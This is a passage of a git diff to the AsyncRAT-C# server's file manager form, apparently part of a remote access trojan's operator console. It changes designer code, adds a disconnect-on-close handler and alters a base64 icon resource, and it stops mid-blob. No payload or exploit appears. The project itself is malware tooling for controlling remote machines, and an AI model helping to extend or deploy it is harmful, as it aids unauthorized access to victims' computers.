new System.EventHandler(this.OpenClientFolderToolStripMenuItem_Click); + // // imageList1 // this.imageList1.ImageStream = ((System.Windows.Forms.ImageListStreamer)(resources.GetObject("imageList1.ImageStream"))); @@ -276,22 +289,9 @@ // // timer1 // - this.timer1.Enabled = true; this.timer1.Interval = 1000; this.timer1.Tick += new System.EventHandler(this.Timer1_Tick); // - // toolStripSeparator3 - // - this.toolStripSeparator3.Name = "toolStripSeparator3"; - this.toolStripSeparator3.Size = new System.Drawing.Size(237, 6); - // - // openClientFolderToolStripMenuItem - // - this.openClientFolderToolStripMenuItem.Name = "openClientFolderToolStripMenuItem"; - this.openClientFolderToolStripMenuItem.Size = new System.Drawing.Size(240, 32); - this.openClientFolderToolStripMenuItem.Text = "Open Client Folder"; - this.openClientFolderToolStripMenuItem.Click += new System.EventHandler(this.OpenClientFolderToolStripMenuItem_Click); - // // FormFileManager // this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F); @@ -302,6 +302,7 @@ this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); this.Name = "FormFileManager"; this.Text = "FileManager"; + this.FormClosed += new System.Windows.Forms.FormClosedEventHandler(this.FormFileManager_FormClosed); this.contextMenuStrip1.ResumeLayout(false); this.statusStrip1.ResumeLayout(false); this.statusStrip1.PerformLayout(); @@ -326,7 +327,6 @@ private System.Windows.Forms.ToolStripMenuItem dELETEToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem rEFRESHToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem eXECUTEToolStripMenuItem; - private System.Windows.Forms.Timer timer1; private System.Windows.Forms.ToolStripMenuItem gOTOToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem dESKTOPToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem aPPDATAToolStripMenuItem; @@ -341,5 +341,6 @@ private System.Windows.Forms.ToolStripMenuItem driversListsToolStripMenuItem; private System.Windows.Forms.ToolStripSeparator toolStripSeparator3; private System.Windows.Forms.ToolStripMenuItem openClientFolderToolStripMenuItem; + public System.Windows.Forms.Timer timer1; } } \ No newline at end of file diff --git a/AsyncRAT-C#/Server/Forms/FormFileManager.cs b/AsyncRAT-C#/Server/Forms/FormFileManager.cs index 0c6f2e5..5e584aa 100644 --- a/AsyncRAT-C#/Server/Forms/FormFileManager.cs +++ b/AsyncRAT-C#/Server/Forms/FormFileManager.cs @@ -394,5 +394,10 @@ namespace Server.Forms } catch { } } + + private void FormFileManager_FormClosed(object sender, FormClosedEventArgs e) + { + Client?.Disconnected(); + } } } \ No newline at end of file diff --git a/AsyncRAT-C#/Server/Forms/FormFileManager.resx b/AsyncRAT-C#/Server/Forms/FormFileManager.resx index 88e86df..40a6e89 100644 --- a/AsyncRAT-C#/Server/Forms/FormFileManager.resx +++ b/AsyncRAT-C#/Server/Forms/FormFileManager.resx @@ -127,8 +127,8 @@ AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0 - ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAABk - ZQAAAk1TRnQBSQFMAgEBAwEAAUgBAAFIAQABMAEAATABAAT/ASEBAAj/AUIBTQE2BwABNgMAASgDAAHA + ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAABS + ZQAAAk1TRnQBSQFMAgEBAwEAAVgBAAFYAQABMAEAATABAAT/ASEBAAj/AUIBTQE2BwABNgMAASgDAAHA AwABMAMAAQEBAAEgBgABkEYAAwEBAgMMARADJwE7AxkBIwMFAQdDAAEBQwAEAQECAwEBAgMBAQIDAQEC AwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQEC AwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQEC @@ -136,431 +136,431 @@ AwABASsAAQEDBAEFAwsBDwMUARwDFQEdAwcBCgMCAQMDAQECAwABASwAAwIBAwMIAQsDDwEUAxIBGAMS ARgDEgEYAxIBGAMSARgDEgEYAxIBGAMSARgDEgEYAxIBGAMSARgDEgEYAxIBGAMSARgDEgEYAxIBGAMS ARgDEgEYAxIBGAMSARgDEgEYAxIBGAMSARgDEgEYAxIBGAMSARgDEgEYAxIBGAMSARgDEgEYAxIBGAMS - ARgDEgEYAxIBGAMSARgDEgEYAxIBGAMSARgDEQEXAw0BEgMHAQkDAgED/wC5AAM7AWMBXgJhAd0BUgG0 - AdEB/wNCAXUDFgEfAwUBBwMBAQInAAEBAwMBBAMYASEDNgFYAU8CUwGlAVACUgGkAyIBMgMKAQ0DBwEJ - AwMBBCgAAwEBAgMLAQ8DHwEtAy4BSAMzAVIDMwFTAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMz - AVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMz - AVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzIBUQMs - AUQDGwEmAwgBCwMAAQH/AKkAAwQBBQMcASgDRQF8A14B1QFUAXsBkAH6AVMBtQHSAf8DRgF/AyIBMQMT - ARoDCwEPAwUBBwMBAQIDAAEBAwMBBAMHAQoDEgEYAxsBJgMkATYDOAFdA0sBjgNYAbwBWgJdAdMBXQFh - AWMB4gFdAWgBagHwA14B3QNHAYIDMQFPAyABLwMSARgDBgEIAwIBAwMAAQEcAAMEAQUDFwEgA0gBhQNQ - AaMDVAGrA1QBqwNUAasDVAGrA1QBqwNUAasDVAGrA1QBqwNUAasDVAGrA1QBqwNUAasDVAGrA1QBqwNU + ARgDEgEYAxIBGAMSARgDEgEYAxIBGAMSARgDEQEXAw0BEgMHAQkDAgED/wC5AAM7AWMDXgHdAVABtAHR + Af8DQgF1AxYBHwMFAQcDAQECJwABAQMDAQQDGAEhAzYBWAFPAlMBpQFQAlIBpAMiATIDCgENAwcBCQMD + AQQoAAMBAQIDCwEPAx8BLQMuAUgDMwFSAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFT + AzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFT + AzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMyAVEDLAFE + AxsBJgMIAQsDAAEB/wCpAAMEAQUDHAEoA0UBfANeAdUBUgF5AYoB+gFRAbUB0gH/A0YBfwMiATEDEwEa + AwsBDwMFAQcDAQECAwABAQMDAQQDBwEKAxIBGAMbASYDJAE2AzgBXQNLAY4DWAG8AVoCXQHTAV0CYQHi + AV0BZgFoAfADXgHdA0cBggMxAU8DIAEvAxIBGAMGAQgDAgEDAwABARwAAwQBBQMXASADSAGFA1ABowNU AasDVAGrA1QBqwNUAasDVAGrA1QBqwNUAasDVAGrA1QBqwNUAasDVAGrA1QBqwNUAasDVAGrA1QBqwNU - AasDVAGrA1QBqwNUAasDVAGrA1QBqwNUAasDVAGrA1QBqwNTAaoDUAGfAzgBXAMSARkDAgED/wCkAAEB - AwIBAwMiATIDTQGRAV8BZgFpAegBXQGSAZkB+wFUAbIB0AH/AVMBtgHTAf8DSAGDAycBOwMeASsDGQEj - AxQBHAMTBBoEJAE2AzQBVANJAYgDVgG0AVoCXQHTAV8BZAFmAeABXQFxAXcB7QFdAYoBkAH5AVABpAG1 - Af0BUwGwAc4B/wFRAbQB0gH/AVABjQGgAfoBYgFmAWsB5wFeAmEB2gNCAXQDIwEzAxIBGAMHAQoDAgED - HAADBQEHAx0BKgNBAfkDSwH/A0sB/wNLAf8DSwH/A0sB/wMDAf8DAwH/AwMB/wMEAf8DDAH/AywB/wNL - Af8DSwH/A0sB/wNLAf8DSwH/AykB/wNKAf8DSgH/A0oB/wNKAf8DSgH/A0oB/wNLAf8DSwH/A0sB/wNL - Af8DSwH/A0sB/wNLAf8DSwH/A0sB/wNLAf8DSwH/A0sB/wNLAf8DaQH/A1MB/wNLAf8DSwH/A0sB/wNZ - AdcDFwEgAwQBBQsAAQEDAgQDBAQBBQMEAQUDBAEFAwQBBQMEAQUDBAEFAwQBBQMEAQUDBAEFAwQBBQME + AasDVAGrA1QBqwNUAasDVAGrA1QBqwNUAasDVAGrA1QBqwNUAasDVAGrA1QBqwNUAasDVAGrA1QBqwNU + AasDVAGrA1QBqwNUAasDVAGrA1QBqwNUAasDVAGrA1MBqgNQAZ8DOAFcAxIBGQMCAQP/AKQAAQEDAgED + AyIBMgNNAZEBXwFkAWcB6AFdAZABlgH7AVIBsgHQAf8BUQG2AdMB/wNIAYMDJwE7Ax4BKwMZASMDFAEc + AxMEGgQkATYDNAFUA0kBiANWAbQBWgJdAdMBXwFiAWQB4AFdAWsBcQHtAV0BiAGNAfkBTgGkAbMB/QFR + AbABzgH/AU8BtAHSAf8BTgGHAZwB+gFiAWQBZgHnAV4CYQHaA0IBdAMjATMDEgEYAwcBCgMCAQMcAAMF + AQcDHQEqA0EB+QNJAf8DSQH/A0kB/wNJAf8DSQH/AwEB/wMBAf8DAQH/AwIB/wMKAf8DKgH/A0kB/wNJ + Af8DSQH/A0kB/wNJAf8DJwH/A0gB/wNIAf8DSAH/A0gB/wNIAf8DSAH/A0kB/wNJAf8DSQH/A0kB/wNJ + Af8DSQH/A0kB/wNJAf8DSQH/A0kB/wNJAf8DSQH/A0kB/wNnAf8DUQH/A0kB/wNJAf8DSQH/A1kB1wMX + ASADBAEFCwABAQMCBAMEBAEFAwQBBQMEAQUDBAEFAwQBBQMEAQUDBAEFAwQBBQMEAQUDBAEFAwQBBQME AQUDBAEFAwQBBQMEAQUDBAEFAwQBBQMEAQUDBAEFAwQBBQMEAQUDBAEFAwQBBQMEAQUDBAEFAwQBBQME - AQUDBAEFAwQBBQMEAQUDBAEFAwQBBQMEAQUDBAEFAwQBBQMEAQUDBAEFAwQBBQMEAQUDBAEFAwIBAwMA - AQHoAAMCAQMDDQERA1UBrQFZAX4BhQH1AVMBtwHVAf8BUwG3AdUB/wFTAbcB1QH/AVQBtwHUAf8DSAGE - AykBPwMjATMDKAE8AzQBVANIAYQDWAHGAWIBYwFkAe8BUQG1AdMB/wFRAbUB0wH/AVEBtQHTAf8BUQG1 - AdMB/wFRAbUB0wH/AVEBtQHTAf8BUQG1AdMB/wFRAbUB0wH/AVEBtQHTAf8BUgG1AdMB/wFSAbUB0wH/ - AVMBtQHTAf8BVAG2AdMB/wNOAZgDLQFGAx8BLAMRARcDBgEIHAADBQEHAx8BLAM/Af4DUQH/A1EB/wNR - Af8DUQH/A1EB/wMAAf8DBQH/A0EB/wNRAf8DUQH/A1EB/wNRAf8DUQH/A1EB/wNRAf8DUQH/AyoB/wNi - Af8DYgH/A2IB/wNiAf8DYgH/A2IB/wNRAf8DUQH/A1EB/wNRAf8DUQH/A1EB/wNRAf8DUQH/A1EB/wNR - Af8DUQH/A1EB/wNDAf8BAAG/ASwB/wE0AWABNAH/A1EB/wNRAf8DUQH/AzYB/wMYASIDBAEFBAADAgED - AwkBDAMaASUDKgFBAywBRAMsAUQDLAFEAywBRAMsAUQDLAFEAywBRAMsAUQDLAFEAywBRAMsAUQDLAFE + AQUDBAEFAwQBBQMEAQUDBAEFAwQBBQMEAQUDBAEFAwQBBQMEAQUDBAEFAwQBBQMEAQUDAgEDAwABAegA + AwIBAwMNAREDVQGtAVkBdwGBAfUBUQG3AdUB/wFRAbcB1QH/AVEBtwHVAf8BUgG3AdQB/wNIAYQDKQE/ + AyMBMwMoATwDNAFUA0gBhANYAcYDYgHvAU8BtQHTAf8BTwG1AdMB/wFPAbUB0wH/AU8BtQHTAf8BTwG1 + AdMB/wFPAbUB0wH/AU8BtQHTAf8BTwG1AdMB/wFPAbUB0wH/AVABtQHTAf8BUAG1AdMB/wFRAbUB0wH/ + AVIBtgHTAf8DTgGYAy0BRgMfASwDEQEXAwYBCBwAAwUBBwMfASwDPwH+A08B/wNPAf8DTwH/A08B/wNP + Af8DAAH/AwMB/wM/Af8DTwH/A08B/wNPAf8DTwH/A08B/wNPAf8DTwH/A08B/wMoAf8DYAH/A2AB/wNg + Af8DYAH/A2AB/wNgAf8DTwH/A08B/wNPAf8DTwH/A08B/wNPAf8DTwH/A08B/wNPAf8DTwH/A08B/wNP + Af8DQQH/AQABvwEqAf8BMgFeATIB/wNPAf8DTwH/A08B/wM0Af8DGAEiAwQBBQQAAwIBAwMJAQwDGgEl + AyoBQQMsAUQDLAFEAywBRAMsAUQDLAFEAywBRAMsAUQDLAFEAywBRAMsAUQDLAFEAywBRAMsAUQDLAFE AywBRAMsAUQDLAFEAywBRAMsAUQDLAFEAywBRAMsAUQDLAFEAywBRAMsAUQDLAFEAywBRAMsAUQDLAFE - AywBRAMsAUQDLAFEAywBRAMsAUQDLAFEAywBRAMsAUQDLAFEAywBRAMsAUQDKgFBAx0BKgMKAQ4DAwEE - 4AADDAEQAzABSwNZAb4BXQFnAWkB7QFSAagBuAH9AVQBuAHWAf8BVAG4AdYB/wFUAbgB1gH/AVUBuAHV - Af8BUwJVAbABTwJQAZwBVgJYAbwBXAJgAdQBWwJhAeEBXAFjAWUB6gFgAXABdwH2AUsBigGhAfwBUgG1 - AdQB/wFSAbUB1AH/AVIBtQHUAf8BUgG1AdQB/wFSAbUB1AH/AVIBtQHUAf8BUgG1AdQB/wFSAbUB1AH/ - AVIBtQHUAf8BUwG1AdQB/wFTAbUB1AH/AVQBtQHUAf8BVQG2AdQB/wNOAZgDLgFIAyMBMwMYASEDCgEO - AwEBAgMAAQEUAAMFAQcDHwEsAzQB/gM9Af8DPQH/Az0B/wM9Af8DPQH/AwAB/wM9Af8DPQH/Az0B/wM9 - Af8DPQH/Az0B/wM9Af8DPQH/Az0B/wM9Af8DJAH/A2IB/wNiAf8DYgH/A2IB/wNiAf8DYgH/Az0B/wM9 - Af8DPQH/Az0B/wM9Af8DPQH/Az0B/wM9Af8DPQH/Az0B/wM9Af8DPQH/AzkB/wETAYcBVwH/ATUBNwE1 - Af8DPQH/Az0B/wM9Af8DKwH/AxgBIgMEAQUDAAEBAxYBHgNOAZQDSAH2AzIB/gMeAf8DHAH/AxwB/wMc - Af8DHAH/AxwB/wMeAf8DHgH/Ax4B/wMfAf8DIAH/AyAB/wMiAf8DIgH/AyIB/wMjAf8DIwH/AyQB/wMk - Af8DIwH/AyMB/wMjAf8DIgH/AyIB/wMgAf8DIAH/Ax4B/wMdAf8DHAH/AxsB/wMaAf8DGQH/ARoCGAH/ - ASQBGAEZAf8BRQEdAR4B/wFqAjAB/wGDAjYB/wFqATEBLwH/AUkCJAH/AVEBRAFGAfcDVAGvAx0BKQMC - AQPcAAMyAVABVgJZAb4BYAGKAZQB+QFeAZ4BuAH+AVUBuQHYAf8BVQG5AdgB/wFVAbkB2AH/AVUBuQHY - Af8BVgG5AdcB/wFOAWkBcAHwAVQBZwFtAe4BUQFuAYQB9wE6AXgBfgH8AUEBlwGwAf8BTAGrAckB/wFR - AbQB0gH/AVIBtgHVAf8BUgG2AdUB/wFSAbYB1QH/AVIBtgHVAf8BUgG2AdUB/wFSAbYB1QH/AVIBtgHV - Af8BUgG2AdUB/wFSAbYB1QH/AVMBtwHVAf8BUwG3AdUB/wFTAbcB1QH/AVQBtwHVAf8BVQG3AdYB/wNO - AZgDLQFGAyMBMwMZASMDDAEQAwIBAwMAAQEUAAMFAQcDHgErAyoB/gMsAf8DLAH/AywB/wMsAf8DLAH/ - AwAB/wMsAf8DLAH/AywB/wMsAf8DLAH/AywB/wMsAf8DLAH/AywB/wMsAf8DHgH/A2IB/wNiAf8DYgH/ - A2IB/wNiAf8DYgH/AywB/wMsAf8DLAH/AywB/wMsAf8DLAH/AywB/wMsAf8DLAH/AywB/wMsAf8DLAH/ - AywB/wMsAf8DLAH/AywB/wMsAf8DLAH/AyEB/wMYASEDBAEFAwMBBAM4AV0DSwHyAwkB/wMAAf8DAAH/ + AywBRAMsAUQDLAFEAywBRAMsAUQDLAFEAywBRAMsAUQDLAFEAyoBQQMdASoDCgEOAwMBBOAAAwwBEAMw + AUsDWQG+AV0BZQFnAe0BUAGoAbYB/QFSAbgB1gH/AVIBuAHWAf8BUgG4AdYB/wFTAbgB1QH/AVMCVQGw + AU8CUAGcAVYCWAG8AVwCYAHUAVsCYQHhAVwBYQFjAeoBYAFqAXMB9gFHAYQBmwH8AVABtQHUAf8BUAG1 + AdQB/wFQAbUB1AH/AVABtQHUAf8BUAG1AdQB/wFQAbUB1AH/AVABtQHUAf8BUAG1AdQB/wFQAbUB1AH/ + AVEBtQHUAf8BUQG1AdQB/wFSAbUB1AH/AVMBtgHUAf8DTgGYAy4BSAMjATMDGAEhAwoBDgMBAQIDAAEB + FAADBQEHAx8BLAM0Af4DOwH/AzsB/wM7Af8DOwH/AzsB/wMAAf8DOwH/AzsB/wM7Af8DOwH/AzsB/wM7 + Af8DOwH/AzsB/wM7Af8DOwH/AyIB/wNgAf8DYAH/A2AB/wNgAf8DYAH/A2AB/wM7Af8DOwH/AzsB/wM7 + Af8DOwH/AzsB/wM7Af8DOwH/AzsB/wM7Af8DOwH/AzsB/wM3Af8BEQGHAVUB/wEzATUBMwH/AzsB/wM7 + Af8DOwH/AykB/wMYASIDBAEFAwABAQMWAR4DTgGUA0gB9gMyAf4DHAH/AxoB/wMaAf8DGgH/AxoB/wMa + Af8DHAH/AxwB/wMcAf8DHQH/Ax4B/wMeAf8DIAH/AyAB/wMgAf8DIQH/AyEB/wMiAf8DIgH/AyEB/wMh + Af8DIQH/AyAB/wMgAf8DHgH/Ax4B/wMcAf8DGwH/AxoB/wMZAf8DGAH/AxcB/wEYAhYB/wEiARYBFwH/ + AUMBGwEcAf8BaAIuAf8BgwI0Af8BaAEvAS0B/wFHAiIB/wFRAUgBSgH3A1QBrwMdASkDAgED3AADMgFQ + AVYCWQG+AWABiAGQAfkBXgGaAbQB/gFTAbkB2AH/AVMBuQHYAf8BUwG5AdgB/wFTAbkB2AH/AVQBuQHX + Af8BTgFnAWoB8AFUAWMBaQHuAVEBbQGCAfcBOAF2AXwB/AE/AZcBsAH/AUoBqwHJAf8BTwG0AdIB/wFQ + AbYB1QH/AVABtgHVAf8BUAG2AdUB/wFQAbYB1QH/AVABtgHVAf8BUAG2AdUB/wFQAbYB1QH/AVABtgHV + Af8BUAG2AdUB/wFRAbcB1QH/AVEBtwHVAf8BUQG3AdUB/wFSAbcB1QH/AVMBtwHWAf8DTgGYAy0BRgMj + ATMDGQEjAwwBEAMCAQMDAAEBFAADBQEHAx4BKwMqAf4DKgH/AyoB/wMqAf8DKgH/AyoB/wMAAf8DKgH/ + AyoB/wMqAf8DKgH/AyoB/wMqAf8DKgH/AyoB/wMqAf8DKgH/AxwB/wNgAf8DYAH/A2AB/wNgAf8DYAH/ + A2AB/wMqAf8DKgH/AyoB/wMqAf8DKgH/AyoB/wMqAf8DKgH/AyoB/wMqAf8DKgH/AyoB/wMqAf8DKgH/ + AyoB/wMqAf8DKgH/AyoB/wMfAf8DGAEhAwQBBQMDAQQDOAFdA00B8gMHAf8DAAH/AwAB/wMAAf8DAAH/ AwAB/wMAAf8DAAH/AwAB/wMAAf8DAAH/AwAB/wMAAf8DAAH/AwAB/wMAAf8DAAH/AwAB/wMAAf8DAAH/ AwAB/wMAAf8DAAH/AwAB/wMAAf8DAAH/AwAB/wMAAf8DAAH/AwAB/wMAAf8DAAH/AwAB/wMAAf8DAAH/ - AwAB/wMAAf8BAQIAAf8BcQEPAQAB/wG+AVwBMQH/AcMBcgFIAf8BvgFmATEB/wFqARgBBAH/ARACAAH/ - AR8CGwH/A0oBigMHAQncAANTAaoBUgF5AX8B9AFWAboB2QH/AVYBugHZAf8BVgG6AdkB/wFWAboB2QH/ - AVYBugHZAf8BVgG6AdkB/wFXAboB2AH/AUABlgGvAf8BPQGRAakB/wE9AZIBqgH/AT4BlAGtAf8BQwGc - AbYB/wFNAawByQH/AVIBtQHSAf8BUwG3AdUB/wFTAbcB1QH/AVMBtwHVAf8BUwG3AdUB/wFTAbcB1QH/ - AVMBtwHVAf8BUwG3AdUB/wFTAbcB1QH/AVMBtwHVAf8BVAG4AdUB/wFUAbgB1QH/AVQBuAHVAf8BVAG3 - AdUB/wFWAbgB1gH/AU4CTwGXAywBQwMhATADGgElAxABFQMEAQYDAQECFAADBQEHAx0BKgMlAf4DsAH/ - A7AB/wOwAf8DsAH/A7AB/wOwAf8DsAH/A7AB/wOwAf8DsAH/A7AB/wOwAf8DsAH/A7AB/wOwAf8DsAH/ - A7AB/wOwAf8DsAH/A7AB/wOwAf8DsAH/A7AB/wOwAf8DsAH/A7AB/wOwAf8DsAH/A7AB/wOwAf8DsAH/ - A7AB/wOwAf8DsAH/A7AB/wOwAf8DsAH/A7AB/wOwAf8DsAH/A7AB/wMcAf8DFwEgAwMBBAMFAQcDSAGI - AyUB/wMAAf8DAAH/AwAB/wMAAf8DAAH/AwAB/wMAAf8DAAH/AwAB/wMAAf8DAAH/AwAB/wMAAf8DAAH/ - AwAB/wMAAf8DAAH/AwAB/wMAAf8DAAH/AwAB/wMAAf8DAAH/AwAB/wMAAf8DAAH/AwAB/wMAAf8DAAH/ - AwAB/wMAAf8DAAH/AwAB/wMAAf8DAAH/AwAB/wEUAgAB/wEuAgAB/wE4AgAB/wEtAgAB/wEUAgAB/wED - AgAB/wEPAgwB/wNWAbkDDgET3AADVAGrAVkBewGEAfUBVgG7AdoB/wFWAbsB2gH/AVYBuwHaAf8BVgG7 - AdoB/wFWAbsB2gH/AVYBuwHaAf8BVwG7AdkB/wFBAZcBsAH/AT4BkgGqAf8BPgGTAasB/wE/AZUBrgH/ - AUQBnQG3Af8BTgGtAcoB/wFTAbYB0wH/AVQBuAHWAf8BVAG4AdYB/wFUAbgB1gH/AVQBuAHWAf8BVAG4 - AdYB/wFUAbgB1gH/AVQBuAHWAf8BVAG4AdYB/wFUAbgB1gH/AVYBuQHWAf8BVgG5AdYB/wFWAbkB1gH/ - AVUBuAHWAf8BVwG5AdYB/wNOAZUDKgFAAx8BLQMcAScDFQEdAwwBEAMFAQcDAQECEAADBAEGAxwBJwOl - Af4DtwH/A7wB/wO9Af8DsgH/A7AB/wOvAf8DrQH/A6sB/wOqAf8DqAH/A6YB/wOlAf8DowH/A6IB/wOh - Af8DnwH/A54B/wOdAf8DnQH/A5wB/wOdAf8DnQH/A50B/wOeAf8DnwH/A6EB/wOiAf8DowH/A6UB/wOm - Af8DqAH/A6oB/wOrAf8DrQH/A68B/wOxAf8DsgH/A7QB/wPAAf8DvQH/A7gB/wOuAf8DFgEeAwMEBAEG - A0QBewM6Af4DKQH/AyoB/wMpAf8DKgH/AyoB/wMrAf8DKwH/AysB/wMsAf8DLQH/Ay0B/wMtAf8DLgH/ - Ay4B/wMvAf8DLwH/Ay8B/wMvAf8DLwH/Ay8B/wMvAf8DLwH/Ay8B/wMuAf8DLgH/Ay4B/wMtAf8DLQH/ - AywB/wMrAf8DKwH/AyoB/wMpAf8DKQH/AygB/wEoAicB/wEuASYBJwH/ATkCJgH/ATwBJQEmAf8BNwEk - ASUB/wEsAiQB/wEgAh0B/wEeAh0B/wNUAa8DDAEQ3AADVAGrAVkBewGEAfUBVwG8AdwB/wFXAbwB3AH/ - AVcBvAHcAf8BVwG8AdwB/wFXAbwB3AH/AVcBvAHcAf8BWAG8AdsB/wFBAZgBsQH/AT4BkwGrAf8BPgGU - AawB/wE/AZYBrwH/AUQBngG4Af8BTgGuAcsB/wFTAbcB1AH/AVQBuQHXAf8BVAG5AdcB/wFUAbkB1wH/ - AVQBuQHXAf8BVAG5AdcB/wFUAbkB1wH/AVQBuQHXAf8BVAG5AdcB/wFVAbkB2AH/AVYBugHYAf8BVgG6 - AdgB/wFWAboB2AH/AVUBuQHXAf8BVwG6AdcB/wNMAZMDJwE7AxwBKAMaASUDFgEfAxIBGAMKAQ0DBAEF - AwABAQwAAwQBBQMYASIDsQH+A7MB/wOvAf8DogH/A9MB/wPFAf8DwgH/A78B/wO9Af8DuwH/A7gB/wO2 - Af8DtAH/A7IB/wOwAf8DrwH/A60B/wOsAf8DqwH/A6sB/wOqAf8DqgH/A6oB/wOrAf8DrAH/A60B/wOv - Af8DsAH/A7IB/wO0Af8DtgH/A7gB/wO6Af8DvQH/A8AB/wPCAf8DxQH/A8cB/wPGAf8DqAH/A8cB/wPT - Af8DrgH/AxMBGgMCBAMBBANAAW4DcgH8A5oB/wOcAf8DmwH/A5oB/wObAf8DmgH/A5kB/wOaAf8DmQH/ - A5kB/wOaAf8DmQH/A5kB/wOYAf8DmAH/A5cB/wOXAf8DlgH/A5cB/wOWAf8DlQH/A5QB/wOUAf8DkgH/ - A5IB/wORAf8DkAH/A48B/wOOAf8DjQH/A4wB/wOLAf8DiwH/A4oB/wOJAf8DiQH/AYkCiAH/AYkBhgGH - Af8BiQGGAYcB/wGIAoYB/wGHAYUBhgH/A3YB/wFoAmcB/wNSAaMDCAEL3AADUwGqAVIBeQGDAfQBWAG9 - Ad0B/wFYAb0B3QH/AVgBvQHdAf8BWAG9Ad0B/wFYAb0B3QH/AVgBvQHdAf8BWQG9AdwB/wFCAZgBsgH/ - AT8BkwGsAf8BPwGUAa0B/wFAAZYBsAH/AUUBngG5Af8BTwGuAcwB/wFUAbcB1QH/AVUBuQHYAf8BVQG5 - AdgB/wFVAbkB2AH/AVUBuQHYAf8BVQG5AdgB/wFVAbkB2AH/AVUBuQHYAf8BVQG5AdgB/wFWAboB2QH/ - AVcBugHZAf8BVwG6AdkB/wFWAboB2QH/AVYBuQHYAf8BWAG6AdgB/wNMAY8DJQE3AxkBIwMXASADFQEd - AxIBGQMOARMDBwEKAwEBAgMAAQEIAAMDAQQDFgEeA54B/gPMAf8DhgH/A1AB/wPJAf8DxgH/A8QB/wPB - Af8DvwH/A70B/wO6Af8DuAH/A7YB/wO1Af8DswH/A7EB/wOwAf8DrwH/A64B/wPTAf8D6QH/A/gB/wPl - Af8DyQH/A68B/wOwAf8DsgH/A7MB/wO0Af8DtgH/A7gB/wO6Af8DvAH/A78B/wPBAf8DwwH/A8cB/wPI - Af8DyAH/A1YB/wODAf8DzgH/A68B/wMQARYDAQECAwEBAgNVAa0DpAH/A6IB/wOhAf8DoAH/A54B/wOe - Af8DnAH/A5sB/wOaAf8DmQH/A5gB/wOXAf8DlgH/A5YB/wOUAf8DkgH/A5IB/wORAf8DjwH/A44B/wOO - Af8DjQH/A4wB/wOMAf8DigH/A4oB/wOJAf8DiQH/A4gB/wOHAf8DhwH/A4YB/wOFAf8DhAH/A4UB/wOF - Af8DhQH/A4UB/wOEAf8DhQH/A4UB/wOFAf8DhAH/A4UB/wNcAcwDGAEi3AADUwGqAVMBeQGDAfQBWQG+ - Ad4B/wFZAb4B3gH/AVkBvgHeAf8BWQG+Ad4B/wFZAb4B3gH/AVkBvgHeAf8BWgG+Ad0B/wFCAZkBswH/ - AT8BlAGtAf8BPwGVAa4B/wFAAZcBrwH/AUQBnQG4Af8BTQGrAcgB/wFTAbUB1AH/AVYBugHZAf8BVgG6 - AdkB/wFWAboB2QH/AVYBugHZAf8BVgG6AdkB/wFWAboB2QH/AVYBugHZAf8BVgG6AdkB/wFYAbsB2gH/ - AVkBuwHaAf8BWQG7AdoB/wFXAboB2QH/AVcBugHZAf8BWQG7AdkB/wNKAY0DIgEyAxUBHQMTARoDEQEX - Aw4BEwMLAQ8DBwEKAwMBBAMBAQIIAAMCAQMDEwEaA5wB/gPPAf8DzQH/A8sB/wPJAf8DxwH/A8YB/wPD - Af8DwQH/A78B/wO9Af8DuwH/A7kB/wPHAf8DzgH/A/AF/wP+Af8D7gH/A+UB/wPlAf8D5QH/A+UB/wPl - Af8D8Qn/A+AB/wPPAf8DwQH/A7sB/wO9Af8DvwH/A8EB/wPDAf8DxQH/A8cB/wPJAf8DywH/A80B/wPO - Af8D0AH/A1YBqwMOARMDAQECAwABAQNeAc4DpgH/A6UB/wOkAf8DowH/A6EB/wOgAf8DnwH/A54B/wOd - Af8DnAH/A5sB/wOaAf8DmAH/A5cB/wOWAf8DlQH/A5UB/wOTAf8DkgH/A5EB/wOQAf8DkAH/A5AB/wOO - Af8DjAH/A4wB/wOLAf8DigH/A4kB/wOJAf8DhwH/A4gB/wOHAf8DhQH/A4UB/wOFAf8DhQH/A4QB/wOF - Af8DhQH/A4QB/wOEAf8DhQH/A4UB/wNhAdwDIgEy3AADUwGqAV0BewGDAfQBWwHAAeAB/wFbAcAB4AH/ - AVsBwAHgAf8BWwHAAeAB/wFbAcAB4AH/AVsBwAHgAf8BXAHAAd8B/wFEAZsBtAH/AT8BlQGuAf8BPwGW - Aa8B/wFAAZcBsAH/AUMBmgG1Af8BRwGiAb8B/wFPAbABzQH/AVQBuAHXAf8BVgG7AdsB/wFWAbsB2wH/ - AVYBuwHbAf8BVgG7AdsB/wFWAbsB2wH/AVcBuwHbAf8BVwG8AdsB/wFZAb0B3AH/AVkBvQHcAf8BWQG8 - 